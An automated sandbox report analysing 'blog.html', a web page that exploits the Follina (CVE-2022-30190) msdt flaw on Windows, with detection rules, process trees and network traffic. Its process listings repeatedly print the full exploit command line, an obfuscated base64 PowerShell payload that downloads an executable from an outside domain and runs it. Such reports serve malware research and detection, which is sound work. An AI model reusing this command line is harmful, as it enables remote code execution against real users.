Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
blog.html

Overview

General Information

Sample Name:blog.html
Analysis ID:654145
MD5:fef2b6879c54b532ac0700113dd4173c
SHA1:824bfa2bbfbe11c7810f1a857ecf1d7d64fe2743
SHA256:9d16c6ba4ec1c23f9e35c05b6e17425fdc6cf4d5a3d5ea100129b24c21d68b7d
Tags:Follinahtml
Infos:

Detection

Follina CVE-2022-30190
Score:48
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected Microsoft Office Exploit Follina CVE-2022-30190
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Yara signature match
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
IP address seen in connection with other malware

Classification

  • System is w10x64
  • chrome.exe (PID: 6260 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\blog.html MD5: C139654B5C1438A95B321BB01AD63EF6)
    • chrome.exe (PID: 6420 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1528,2458455930681396657,16758854869973346526,131072 --lang=en-GB --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1948 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)
    • msdt.exe (PID: 6900 cmdline: "C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_LaunchMethod=ContextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'aXdyIGh0dHBzOi8vY29uc3VtZXJmaW5hbmNlZ3VpZGUuY29tL2Jsb2cvaW5kZXgvZ3B1cGRhdGUuZXhlIC1PdXRGaWxlIEM6XFdpbmRvd3NcVGFza3NcZ3B1cGRhdGUuZXhlOyBDOlxXaW5kb3dzXFRhc2tzXGdwdXBkYXRlLmV4ZQo='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe%22 MD5: 8BE43BAF1F37DA5AB31A53CA1C07EE0C)
  • cleanup
No configs have been found
SourceRuleDescriptionAuthorStrings
blog.htmlSUSP_PS1_Msdt_Execution_May22Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitationNasreddine Bencherchali, Christian Burkard
  • 0x25:$a: PCWDiagnostic
  • 0x19:$sa3: ms-msdt
  • 0x79:$sb3: IT_BrowseForFile=
blog.htmlEXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitationTobias Michalski, Christian Burkard
  • 0x8:$re1: location.href = "ms-msdt:
blog.htmlJoeSecurity_FollinaYara detected Microsoft Office Exploit Follina / CVE-2022-30190Joe Security
    SourceRuleDescriptionAuthorStrings
    0000000E.00000002.672988587.00000215ED760000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_FollinaYara detected Microsoft Office Exploit Follina / CVE-2022-30190Joe Security
      0000000E.00000002.673016389.00000215ED769000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_FollinaYara detected Microsoft Office Exploit Follina / CVE-2022-30190Joe Security
        0000000E.00000002.673521929.00000215ED874000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_FollinaYara detected Microsoft Office Exploit Follina / CVE-2022-30190Joe Security
          No Sigma rule has matched
          No Snort rule has matched

          Click to jump to signature section

          Show All Signature Results

          Exploits

          barindex
          Source: Yara matchFile source: blog.html, type: SAMPLE
          Source: Yara matchFile source: 0000000E.00000002.672988587.00000215ED760000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.673016389.00000215ED769000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.673521929.00000215ED874000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Joe Sandbox ViewIP Address: 239.255.255.250 239.255.255.250
          Source: unknownDNS traffic detected: queries for: accounts.google.com
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49755
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49754
          Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
          Source: global trafficHTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfmX-Goog-Update-Updater: chromecrx-85.0.4183.121Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
          Source: pnacl_public_x86_64_pnacl_sz_nexe.0.dr, pnacl_public_x86_64_pnacl_llc_nexe.0.drString found in binary or memory: http://llvm.org/):
          Source: 3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drString found in binary or memory: https://accounts.google.com
          Source: craw_window.js.0.drString found in binary or memory: https://accounts.google.com/MergeSession
          Source: 3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drString found in binary or memory: https://apis.google.com
          Source: pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.drString found in binary or memory: https://chromium.googlesource.com/a/native_client/pnacl-clang.git
          Source: pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.drString found in binary or memory: https://chromium.googlesource.com/a/native_client/pnacl-llvm.git
          Source: 3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drString found in binary or memory: https://clients2.google.com
          Source: manifest.json1.0.dr, manifest.json.0.drString found in binary or memory: https://clients2.google.com/service/update2/crx
          Source: 3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drString found in binary or memory: https://clients2.googleusercontent.com
          Source: pnacl_public_x86_64_ld_nexe.0.drString found in binary or memory: https://code.google.com/p/nativeclient/issues/entry
          Source: pnacl_public_x86_64_ld_nexe.0.drString found in binary or memory: https://code.google.com/p/nativeclient/issues/entry%s:
          Source: 84e1d201-80a6-4e6e-9f8a-7dcb319e9d15.tmp.1.dr, 3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 7bb7e723-11a5-43d8-abb5-a21c25034ef8.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drString found in binary or memory: https://dns.google
          Source: 3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drString found in binary or memory: https://fonts.googleapis.com
          Source: 3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drString found in binary or memory: https://fonts.gstatic.com
          Source: craw_window.js.0.dr, craw_background.js.0.drString found in binary or memory: https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p
          Source: 3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drString found in binary or memory: https://ogs.google.com
          Source: craw_window.js.0.dr, manifest.json.0.drString found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
          Source: 3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drString found in binary or memory: https://play.google.com
          Source: 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drString found in binary or memory: https://r5---sn-h0jeln7l.gvt1.com
          Source: 3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drString found in binary or memory: https://redirector.gvt1.com
          Source: craw_window.js.0.dr, manifest.json.0.drString found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
          Source: 3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drString found in binary or memory: https://ssl.gstatic.com
          Source: craw_window.js.0.dr, craw_background.js.0.drString found in binary or memory: https://www-googleapis-staging.sandbox.google.com
          Source: 3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drString found in binary or memory: https://www.google.com
          Source: manifest.json.0.drString found in binary or memory: https://www.google.com/
          Source: craw_window.js.0.drString found in binary or memory: https://www.google.com/accounts/OAuthLogin?issueuberauth=1
          Source: craw_window.js.0.drString found in binary or memory: https://www.google.com/images/cleardot.gif
          Source: craw_window.js.0.drString found in binary or memory: https://www.google.com/images/dot2.gif
          Source: craw_window.js.0.drString found in binary or memory: https://www.google.com/images/x2.gif
          Source: craw_background.js.0.drString found in binary or memory: https://www.google.com/intl/en-US/chrome/blank.html
          Source: craw_window.js.0.dr, craw_background.js.0.dr, 3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drString found in binary or memory: https://www.googleapis.com
          Source: manifest.json.0.drString found in binary or memory: https://www.googleapis.com/
          Source: manifest.json.0.drString found in binary or memory: https://www.googleapis.com/auth/chromewebstore
          Source: manifest.json.0.drString found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
          Source: manifest.json.0.drString found in binary or memory: https://www.googleapis.com/auth/sierra
          Source: manifest.json.0.drString found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
          Source: 3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drString found in binary or memory: https://www.gstatic.com
          Source: unknownHTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
          Source: blog.html, type: SAMPLEMatched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, score = , modified = 2022-06-20
          Source: blog.html, type: SAMPLEMatched rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22 date = 2022-05-30, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, score = , modified = 2022-05-31, hash = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Local\Temp\4bb935c4-12fa-4ae6-9272-8704f42aef9e.tmpJump to behavior
          Source: C:\Windows\System32\msdt.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
          Source: classification engineClassification label: mal48.expl.winHTML@32/121@2/8
          Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\blog.html
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1528,2458455930681396657,16758854869973346526,131072 --lang=en-GB --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1948 /prefetch:8
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Windows\System32\msdt.exe "C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_LaunchMethod=ContextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'aXdyIGh0dHBzOi8vY29uc3VtZXJmaW5hbmNlZ3VpZGUuY29tL2Jsb2cvaW5kZXgvZ3B1cGRhdGUuZXhlIC1PdXRGaWxlIEM6XFdpbmRvd3NcVGFza3NcZ3B1cGRhdGUuZXhlOyBDOlxXaW5kb3dzXFRhc2tzXGdwdXBkYXRlLmV4ZQo='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe%22
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1528,2458455930681396657,16758854869973346526,131072 --lang=en-GB --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1948 /prefetch:8
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Windows\System32\msdt.exe "C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_LaunchMethod=ContextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'aXdyIGh0dHBzOi8vY29uc3VtZXJmaW5hbmNlZ3VpZGUuY29tL2Jsb2cvaW5kZXgvZ3B1cGRhdGUuZXhlIC1PdXRGaWxlIEM6XFdpbmRvd3NcVGFza3NcZ3B1cGRhdGUuZXhlOyBDOlxXaW5kb3dzXFRhc2tzXGdwdXBkYXRlLmV4ZQo='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe%22
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-62BBFD6F-1874.pmaJump to behavior
          Source: C:\Windows\System32\msdt.exeAutomated click: Next
          Source: C:\Windows\System32\msdt.exeAutomated click: Next
          Source: C:\Windows\System32\msdt.exeAutomated click: Next
          Source: C:\Windows\System32\msdt.exeAutomated click: Next
          Source: C:\Windows\System32\msdt.exeAutomated click: Next
          Source: C:\Windows\System32\msdt.exeAutomated click: Next
          Source: C:\Windows\System32\msdt.exeAutomated click: Next
          Source: C:\Windows\System32\msdt.exeAutomated click: Next
          Source: C:\Windows\System32\msdt.exeAutomated click: Next
          Source: C:\Windows\System32\msdt.exeAutomated click: Next
          Source: C:\Windows\System32\msdt.exeAutomated click: Next
          Source: C:\Windows\System32\msdt.exeAutomated click: Next
          Source: C:\Windows\System32\msdt.exeAutomated click: Next
          Source: C:\Windows\System32\msdt.exeAutomated click: Next
          Source: C:\Windows\System32\msdt.exeAutomated click: Next
          Source: C:\Windows\System32\msdt.exeAutomated click: Next
          Source: C:\Windows\System32\msdt.exeAutomated click: Next
          Source: C:\Windows\System32\msdt.exeFile opened: C:\Windows\system32\MSFTEDIT.DLL
          Source: C:\Windows\System32\msdt.exeWindow / User API: threadDelayed 1850
          Source: C:\Windows\System32\msdt.exeWindow / User API: threadDelayed 1170
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Windows\System32\msdt.exe "C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_LaunchMethod=ContextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'aXdyIGh0dHBzOi8vY29uc3VtZXJmaW5hbmNlZ3VpZGUuY29tL2Jsb2cvaW5kZXgvZ3B1cGRhdGUuZXhlIC1PdXRGaWxlIEM6XFdpbmRvd3NcVGFza3NcZ3B1cGRhdGUuZXhlOyBDOlxXaW5kb3dzXFRhc2tzXGdwdXBkYXRlLmV4ZQo='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe%22
          Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Windows\System32\msdt.exe "C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_LaunchMethod=ContextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'aXdyIGh0dHBzOi8vY29uc3VtZXJmaW5hbmNlZ3VpZGUuY29tL2Jsb2cvaW5kZXgvZ3B1cGRhdGUuZXhlIC1PdXRGaWxlIEM6XFdpbmRvd3NcVGFza3NcZ3B1cGRhdGUuZXhlOyBDOlxXaW5kb3dzXFRhc2tzXGdwdXBkYXRlLmV4ZQo='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe%22
          Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
          Valid Accounts1
          Command and Scripting Interpreter
          Path Interception1
          Process Injection
          1
          Masquerading
          OS Credential Dumping1
          Application Window Discovery
          Remote ServicesData from Local SystemExfiltration Over Other Network Medium1
          Encrypted Channel
          Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
          Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
          Process Injection
          LSASS Memory1
          System Information Discovery
          Remote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth3
          Non-Application Layer Protocol
          Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
          Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration4
          Application Layer Protocol
          Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
          Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Binary PaddingNTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled Transfer1
          Ingress Tool Transfer
          SIM Card SwapCarrier Billing Fraud
          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand
          No Antivirus matches
          SourceDetectionScannerLabelLink
          C:\Users\user\AppData\Local\Temp\6260_497356447\_platform_specific\x86_64\pnacl_public_x86_64_ld_nexe0%MetadefenderBrowse
          C:\Users\user\AppData\Local\Temp\6260_497356447\_platform_specific\x86_64\pnacl_public_x86_64_ld_nexe0%ReversingLabs
          No Antivirus matches
          No Antivirus matches
          SourceDetectionScannerLabelLink
          https://dns.google0%URL Reputationsafe
          NameIPActiveMaliciousAntivirus DetectionReputation
          accounts.google.com
          142.250.185.109
          truefalse
            high
            clients.l.google.com
            142.250.186.174
            truefalse
              high
              clients2.google.com
              unknown
              unknownfalse
                high
                NameMaliciousAntivirus DetectionReputation
                https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standardfalse
                  high
                  https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1false
                    high
                    NameSourceMaliciousAntivirus DetectionReputation
                    https://dns.google84e1d201-80a6-4e6e-9f8a-7dcb319e9d15.tmp.1.dr, 3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 7bb7e723-11a5-43d8-abb5-a21c25034ef8.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drfalse
                    • URL Reputation: safe
                    unknown
                    https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.pcraw_window.js.0.dr, craw_background.js.0.drfalse
                      high
                      https://www.google.com/intl/en-US/chrome/blank.htmlcraw_background.js.0.drfalse
                        high
                        https://ogs.google.com3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drfalse
                          high
                          https://www.google.com/images/cleardot.gifcraw_window.js.0.drfalse
                            high
                            https://play.google.com3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drfalse
                              high
                              https://payments.google.com/payments/v4/js/integrator.jscraw_window.js.0.dr, manifest.json.0.drfalse
                                high
                                https://chromium.googlesource.com/a/native_client/pnacl-llvm.gitpnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.drfalse
                                  high
                                  https://sandbox.google.com/payments/v4/js/integrator.jscraw_window.js.0.dr, manifest.json.0.drfalse
                                    high
                                    https://www.google.com/images/x2.gifcraw_window.js.0.drfalse
                                      high
                                      https://accounts.google.com/MergeSessioncraw_window.js.0.drfalse
                                        high
                                        http://llvm.org/):pnacl_public_x86_64_pnacl_sz_nexe.0.dr, pnacl_public_x86_64_pnacl_llc_nexe.0.drfalse
                                          high
                                          https://www.google.com3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drfalse
                                            high
                                            https://www.google.com/images/dot2.gifcraw_window.js.0.drfalse
                                              high
                                              https://code.google.com/p/nativeclient/issues/entry%s:pnacl_public_x86_64_ld_nexe.0.drfalse
                                                high
                                                https://code.google.com/p/nativeclient/issues/entrypnacl_public_x86_64_ld_nexe.0.drfalse
                                                  high
                                                  https://accounts.google.com3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drfalse
                                                    high
                                                    https://clients2.googleusercontent.com3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drfalse
                                                      high
                                                      https://apis.google.com3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drfalse
                                                        high
                                                        https://www.google.com/accounts/OAuthLogin?issueuberauth=1craw_window.js.0.drfalse
                                                          high
                                                          https://www.google.com/manifest.json.0.drfalse
                                                            high
                                                            https://www-googleapis-staging.sandbox.google.comcraw_window.js.0.dr, craw_background.js.0.drfalse
                                                              high
                                                              https://chromium.googlesource.com/a/native_client/pnacl-clang.gitpnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.drfalse
                                                                high
                                                                https://clients2.google.com3bd28c3b-f83f-4a19-82d8-e4552159d6e9.tmp.1.dr, 0d3bff7a-d9a6-438c-8117-b872b8c23851.tmp.1.drfalse
                                                                  high
                                                                  https://clients2.google.com/service/update2/crxmanifest.json1.0.dr, manifest.json.0.drfalse
                                                                    high
                                                                    • No. of IPs < 25%
                                                                    • 25% < No. of IPs < 50%
                                                                    • 50% < No. of IPs < 75%
                                                                    • 75% < No. of IPs
                                                                    IPDomainCountryFlagASNASN NameMalicious
                                                                    142.250.185.109
                                                                    accounts.google.comUnited States
                                                                    15169GOOGLEUSfalse
                                                                    239.255.255.250
                                                                    unknownReserved
                                                                    unknownunknownfalse
                                                                    142.250.186.174
                                                                    clients.l.google.comUnited States
                                                                    15169GOOGLEUSfalse
                                                                    IP
                                                                    192.168.2.1
                                                                    192.168.2.23
                                                                    192.168.2.7
                                                                    127.0.0.1
                                                                    192.168.2.5
                                                                    Joe Sandbox Version:35.0.0 Citrine
                                                                    Analysis ID:654145
                                                                    Start date and time: 29/06/202209:20:102022-06-29 09:20:10 +02:00
                                                                    Joe Sandbox Product:CloudBasic
                                                                    Overall analysis duration:0h 7m 12s
                                                                    Hypervisor based Inspection enabled:false
                                                                    Report type:light
                                                                    Sample file name:blog.html
                                                                    Cookbook file name:default.jbs
                                                                    Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                    Number of analysed new started processes analysed:29
                                                                    Number of new started drivers analysed:0
                                                                    Number of existing processes analysed:0
                                                                    Number of existing drivers analysed:0
                                                                    Number of injected processes analysed:0
                                                                    Technologies:
                                                                    • HCA enabled
                                                                    • EGA enabled
                                                                    • HDC enabled
                                                                    • AMSI enabled
                                                                    Analysis Mode:default
                                                                    Analysis stop reason:Timeout
                                                                    Detection:MAL
                                                                    Classification:mal48.expl.winHTML@32/121@2/8
                                                                    EGA Information:Failed
                                                                    HDC Information:Failed
                                                                    HCA Information:
                                                                    • Successful, ratio: 100%
                                                                    • Number of executed functions: 0
                                                                    • Number of non-executed functions: 0
                                                                    Cookbook Comments:
                                                                    • Found application associated with file extension: .html
                                                                    • Adjust boot time
                                                                    • Enable AMSI
                                                                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe
